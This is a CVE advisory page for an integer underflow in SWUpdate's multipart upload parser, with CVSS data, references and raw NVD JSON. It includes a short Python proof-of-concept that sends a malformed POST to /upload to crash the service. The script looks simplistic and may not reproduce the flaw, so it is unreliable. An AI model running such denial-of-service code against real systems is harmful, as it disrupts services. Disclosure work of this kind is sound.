CVE-2026-28525

Description

SWUpdate contains an integer underflow vulnerability in the multipart upload parser in mongoose_multipart.c that allows unauthenticated attackers to cause a denial of service by sending a crafted HTTP POST request to /upload with a malformed multipart boundary and controlled TCP stream timing. Attackers can trigger an integer underflow in the mg_http_multipart_continue_wait_for_chunk() function when the buffer length falls within a specific range, causing an out-of-bounds heap read that writes data beyond the allocated receive buffer to a local IPC socket.

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

SWUpdate (Commit beee2dc0feef1cfe84f1aa6fc980e104b2e47a74 之前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import time

def trigger_dos():
    """
    PoC for CVE-2026-28525: Integer Underflow in SWUpdate Multipart Parser
    Sends a malformed HTTP POST request to /upload with specific boundary timing.
    """
    TARGET_HOST = "127.0.0.1"
    TARGET_PORT = 8080
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_HOST, TARGET_PORT))

        boundary = "----WebKitFormBoundary"
        payload = (
            f"POST /upload HTTP/1.1\r\n"
            f"Host: {TARGET_HOST}\r\n"
            f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
            f"Content-Length: 1024\r\n"
            f"\r\n"
        )

        s.send(payload.encode())

        # Send malformed part with timing control
        malicious_chunk = b"--" + boundary.encode() + b"\x00\x00"
        s.send(malicious_chunk)

        time.sleep(0.5)

        # Send remainder to trigger underflow
        s.send(b"A" * 100)

        print("Payload sent.")
        s.close()

    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    trigger_dos()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28525
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28525
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28525/
[4] VulDB https://vuldb.com/cve/CVE-2026-28525
[5] https://github.com/sbabic/swupdate/commit/beee2dc0feef1cfe84f1aa6fc980e104b2e47a74
[6] https://www.vulncheck.com/advisories/swupdate-integer-underflow-in-multipart-upload-parser

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-28525", "sourceIdentifier": "[email protected]", "published": "2026-04-23T21:16:05.367", "lastModified": "2026-04-24T14:50:56.203", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "SWUpdate contains an integer underflow vulnerability in the multipart upload parser in mongoose_multipart.c that allows unauthenticated attackers to cause a denial of service by sending a crafted HTTP POST request to /upload with a malformed multipart boundary and controlled TCP stream timing. Attackers can trigger an integer underflow in the mg_http_multipart_continue_wait_for_chunk() function when the buffer length falls within a specific range, causing an out-of-bounds heap read that writes data beyond the allocated receive buffer to a local IPC socket."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-191"}]}], "references": [{"url": "https://github.com/sbabic/swupdate/commit/beee2dc0feef1cfe84f1aa6fc980e104b2e47a74", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/swupdate-integer-underflow-in-multipart-upload-parser", "source": "[email protected]"}]}}